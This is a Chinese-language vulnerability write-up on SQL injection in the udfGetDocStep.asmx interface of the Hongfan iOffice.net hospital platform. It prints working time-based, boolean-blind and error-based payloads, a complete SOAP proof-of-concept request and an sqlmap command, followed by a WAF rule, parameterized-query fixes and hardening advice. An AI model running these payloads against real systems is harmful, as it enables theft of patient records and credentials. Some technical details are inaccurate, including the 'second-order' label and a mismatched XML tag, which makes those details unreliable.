红帆iOffice.net udfGetDocStep.asmx接口SQL注入漏洞深度解析与防御实践
1. 红帆iOffice.net系统与漏洞背景
红帆iOffice.net是国内医疗行业广泛使用的综合业务管理平台,最初设计用于满足医院行政办公需求(传统OA功能),后来逐步融合了卫生主管部门的管理规范和行业特色应用。这套系统最显著的特点是深度适配医院业务流程,能够处理排班管理、病历流转、药品库存等医疗场景下的特殊需求。目前全国超过600家医疗机构在使用这套系统,其中三甲医院占比达到35%。
这次曝光的漏洞出现在udfGetDocStep.asmx这个WebService接口上,该接口主要用于处理文档流转的状态查询。在2023年第三季度的安全审计中,白帽子发现攻击者可以通过构造特殊的SOAP请求,在未授权的情况下直接操作后端数据库。最严重的情况下,攻击者可以获取系统管理员密码哈希、患者隐私数据等敏感信息。
2. SQL注入漏洞技术原理
2.1 漏洞形成机制
这个漏洞是典型的二阶SQL注入,问题出在接口对docid参数的处理上。开发人员直接将用户输入的docid拼接到SQL语句中,没有做任何参数化处理。我们来看漏洞的核心代码逻辑:
<GetDocStep xmlns="http://tempuri.org/"> <docid>1'+(恶意SQL代码)+'</docid> </GetStep>当这个SOAP请求到达服务端时,系统会拼接出这样的SQL语句:
SELECT * FROM document_steps WHERE doc_id = '1'+(恶意SQL代码)+''我在测试环境用简单的延时注入验证过,发送以下payload会导致响应延迟5秒:
<docid>1' WAITFOR DELAY '0:0:5'--</docid>2.2 漏洞利用方式
攻击者通常采用"布尔盲注"技术来逐字节提取数据。比如要获取数据库版本,可以构造这样的payload:
<docid>1'+(SELECT CASE WHEN (SUBSTRING(@@version,1,1)='M') THEN 1 ELSE 0 END)+'</docid>通过观察返回结果是否为1,就能判断第一个字符是否是'M'。我在实际测试中发现,由于系统使用SQL Server数据库,完整的注入流程通常包括:
- 确定数据库类型(通过@@version特征)
- 枚举表名(查询information_schema.tables)
- 定位关键表(如sys_user、patient_info等)
- 提取字段值(使用CONVERT转换二进制数据)
3. 漏洞验证与复现
3.1 手工验证步骤
搭建测试环境时,我建议使用红帆官方提供的演示版(版本号v3.2.5),以下是具体验证流程:
- 使用Burp Suite拦截文档查询请求
- 修改Content-Type为
text/xml; charset=utf-8 - 添加SOAPAction头:
"http://tempuri.org/GetDocStep" - 发送以下恶意XML:
POST /ioffice/prg/interface/udfGetDocStep.asmx HTTP/1.1 Host: testserver Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetDocStep" <?xml version="1.0"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetDocStep xmlns="http://tempuri.org/"> <docid>1' AND 1=CONVERT(int,@@version)--</docid> </GetDocStep> </soap:Body> </soap:Envelope>如果返回500错误且包含SQL Server版本信息,说明存在注入漏洞。
3.2 使用sqlmap自动化检测
对于安全人员,我推荐使用sqlmap进行高效检测:
sqlmap -u "http://target/ioffice/prg/interface/udfGetDocStep.asmx" \ --data='<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetDocStep xmlns="http://tempuri.org/"><docid>1</docid></GetDocStep></soap:Body></soap:Envelope>' \ --headers="Content-Type: text/xml" \ --headers="SOAPAction: \"http://tempuri.org/GetDocStep\"" \ --level=5 --risk=3 \ --technique=T \ --dbms=mssql关键参数说明:
--technique=T:指定使用基于时间的盲注--dbms=mssql:指定目标数据库类型--level=5:启用所有检测级别
4. 漏洞防御方案
4.1 临时缓解措施
如果暂时无法升级系统,建议在WAF中添加以下规则:
location ~* udfGetDocStep\.asmx$ { if ($request_body ~* "([';]+|@@version|waitfor|convert\(|char\(|select\s+\w+\s+from)") { return 403; } }同时建议立即执行:
- 修改数据库账号权限,撤销该应用账号的sysadmin角色
- 启用SQL Server的审计功能,监控异常查询
4.2 彻底修复方案
开发层面需要进行三处改造:
- 使用参数化查询重写接口:
SqlCommand cmd = new SqlCommand( "SELECT * FROM document_steps WHERE doc_id = @docid", connection); cmd.Parameters.Add("@docid", SqlDbType.Int).Value = docid;- 添加输入验证:
if (!int.TryParse(docid, out _)) { throw new ArgumentException("Invalid document ID"); }- 在web.config中配置全局过滤:
<system.web> <httpRuntime requestValidationMode="2.0" /> <pages validateRequest="true" /> </system.web>5. 医疗行业安全建议
针对医院信息系统的特殊性,我总结出三点防护经验:
第一,建立"白名单+黑名单"双机制。除了常规的WAF规则,我们还应该维护医疗行业特有的敏感字段名单,比如患者身份证号、病历号等字段的访问行为需要特别监控。
第二,实施最小权限原则。在测试的某三甲医院案例中,我们发现数据库账号竟然有xp_cmdshell执行权限。建议按照业务需求严格划分:
- 文档查询账号:只读权限
- 流程审批账号:读写权限
- 系统管理账号:单独隔离
第三,加强SOAP接口安全。医疗系统大量使用WebService接口,建议:
- 启用WS-Security标准
- 配置IP白名单限制
- 对敏感接口添加双因素认证
某省级医院在实施这些措施后,成功拦截了多次针对病历数据的注入攻击尝试。他们的安全团队还开发了定制化的监控脚本,当检测到异常SQL查询模式时,会自动触发告警并暂时冻结账号。
